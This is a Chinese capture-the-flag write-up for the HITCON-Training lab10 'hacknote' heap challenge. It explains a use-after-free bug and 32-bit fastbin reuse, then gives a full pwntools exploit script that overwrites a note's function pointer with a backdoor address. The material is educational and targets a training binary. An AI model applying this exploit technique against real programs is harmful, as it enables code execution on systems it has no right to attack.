HITCON-Training lab10（uaf入门题）

科技前沿 • 2025-01-23 16:28 • 阅读 125

大家好，我是讯享网，很高兴认识大家。

题目下载地址：https://github.com/scwuaptx/HITCON-Training

哈哈哈，纪念一下明白的第一道堆题，虽然它真的很简单。。。

讯享网

32位程序

三个功能，增、删、打印

程序给我们预留了后门函数

add函数，创建note会有两个堆块，分别是存放两个函数指针的8字节堆块和存放内容的堆块

这个示意图很清楚：

delete函数

print函数

因为存在uaf漏洞，又有后门函数，所以考虑，将后门函数地址写入context，让该context覆盖8字节print_note_content的地址

再打印该chunk的时候，函数指针会指向这块区域，从而执行后门函数

了解一下fastbin（64位）

fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时，会首先检查对应大小的fastbin中是否包含未被使用的chunk，如果存在则直接将其从fastbin中移除并返回；否则通过其他方式（剪切top chunk）得到一块符合大小要求的chunk并返回。

而当free一块chunk时，也会首先检查其大小是否落在fastbin的范围中。如果是，则将其插入对应的bin中。顾名思义，fastbin为了快速分配回收这些较小size的chunk，并没对之前提到的bk进行操作，即仅仅通过fd组成了单链表而非双向链表，而且其遵循后进先出(LIFO)的原则。

类似于0 day这本书的块表

因为程序是32位的，所以fastbin中块的大小为8Bytes, 12Bytes, 16Bytes, … , 40Bytes

我们的函数指针是8字节的，所以，如果我们先分配两个快，他们的大小不等于8字节，那么，free掉这两个块的时候，fastbin中的情况

8字节的 --> chunk1指针 --> chunk0指针 --> tail

n（<40字节）--> chunk1 --> chunk0 -->tail

那么，我们malloc的时候，size选择0x8，add函数中先分配指针的堆块，然后分配content的堆块

1.8字节的 --> chunk0 -->tail

chunk2指针=chunk1指针

chunk2_content=chunk0指针

所以，在打印chunk0的时候，chunk0的函数指针会指向chunk2的content，如果之前传入了后门函数magic，就可以顺利执行了

#coding=utf-8 from pwn import * p=process('./hacknote') magic_addr=0x0 def add(size,content): p.recvuntil("Your choice :") p.sendline('1') p.recvuntil("Note size :") p.sendline(str(size)) p.recvuntil("Content :") p.sendline(content) def delete(index): p.recvuntil("Your choice :") p.sendline('2') p.recvuntil("Index :") p.sendline(str(index)) def print_note(index): p.recvuntil("Your choice :") p.sendline('3') p.recvuntil("Index :") p.sendline(str(index)) add(0x32,'aaaa')#0 add(0x32,'aaaa')#1 delete(0) delete(1) add(0x8,p32(magic_addr))#2 print_note(0) p.interactive()

讯享网

在本地/home/hacknote下创建了flag文件

执行结果：

参考博客：https://www.jianshu.com/p/f894c2961ca6

HITCON-Training lab10（uaf入门题）

相关推荐